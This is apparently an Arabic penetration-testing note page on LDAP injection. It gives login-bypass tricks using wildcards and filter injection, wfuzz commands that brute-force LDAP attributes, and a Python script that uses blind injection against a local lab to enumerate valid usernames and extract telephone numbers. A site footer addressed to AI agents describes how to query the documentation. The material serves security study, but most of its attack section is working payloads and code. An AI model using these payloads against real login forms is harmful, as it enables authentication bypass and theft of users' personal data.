> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md).

# تقنيات LDAP

فيما يلي بعض الطرق لاستغلال هذه الثغرة:

1. من خلال معرفة الـ **معرّف المستخدم** واستخدام الرمز /\* ككلمة مرور (الذي يمثل كل شيء):

<figure><img src="/files/5068b4013d7e861ca449126eeb7905fa30ee4596" alt="" width="517"><figcaption></figcaption></figure>

2. من خلال معرفة الـ **بداية معرّف المستخدم** ومن ثم إضافة الرمز /\*:

<figure><img src="/files/0d1b6cba62e0fcfb0679f19dd0f1543c9c73e30c" alt=""><figcaption></figcaption></figure>

3. عند إدخال **معرّف مستخدم صالح** ومن ثم التعليق على الحقل المطلوب من استعلام كلمة المرور:

<figure><img src="/files/46fd51256c21748554ae6e07be1f3a3440b0f892" alt=""><figcaption></figcaption></figure>

## هجوم القوة الغاشمة:

* مع **Wfuzz**، يمكننا شن هجوم عبر **القوة الغاشمة** لتحديد جميع **السمات**:

```bash
wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/28987752fab2ac81e6ccccd94250815d9035ae95" alt="" width="375"><figcaption></figcaption></figure>

بمجرد أن نعرف السمات باستخدام **Wfuzz** ونحدّد **LDAP** نقطة الحقن في حقل كلمة المرور، يمكننا التصفية بحسب الحرف الأول. في هذه الحالة، نقوم بذلك باستخدام **رقم الهاتف**:

```bash
wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/c02668baeb4cd9a43e26b412ade2b75bec23588d" alt="" width="507"><figcaption></figcaption></figure>

## سكربت بايثون آلي:

```python
#!/usr/bin/python3
from pwn import *
import sys, signal, time, requests, pdb
import string
def def_handler(sig, frame):
    print("/n/n[+] جارٍ الخروج.../n")
    sys.exit(1)
# تقنيات LDAP
signal.signal(signal.SIGINT, def_handler)
# تقنيات LDAP
main_url = "http://localhost:8888/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def initial_users():
    characters = string.ascii_lowercase
    initial_users = []
    for character in characters:
        post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)
        r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
        if r.status_code == 301:
            initial_users.append(character)
    return initial_users
def getUsers(initial_users):
    characters = string.ascii_lowercase + string.digits
    users = []
    for initial_user in initial_users:
        user = initial_user
        for i in range(0, 15):
            for character in characters:
                post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)
                r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
                if r.status_code == 301:
                    user += character
                    break
        users.append(user)
    print("/n")
    for user in users:
        log.info('تم العثور على مستخدم صالح: %s' % user)
    print("/n")
    return users
def getTelephoneNumber(users):
    characters = string.digits
    telephone_numbers = []
    p1 = log.progress("الحصول على أرقام الهواتف من LDAP المحلي")
    p1.status("بدء هجوم القوة الغاشمة")
    p2 = log.progress("الحصول على رقم الهاتف")
    for user in users:
        telf = ''
        for i in range(0, 9):
            for character in characters:
                post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)
                r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)
                p1.status("[+] الحصول على رقم الهاتف للمستخدم: %s | %s" % (user, post_data))
                if r.status_code == 301:
                    telf += character
                    p2.status("رقم الهاتف: %s" % telf)
                    break
        telephone_numbers.append(telf)
    p2.success("الأرقام التي تم الحصول عليها هي: %s " % telephone_numbers)
if __name__ == "__main__":
    initial_users = initial_users()
    getUsers = getUsers(initial_users)
    getTelephoneNumber = getTelephoneNumber(getUsers)

```

<figure><img src="/files/6c60af2d45a06accf565777e082656e0289a6966" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
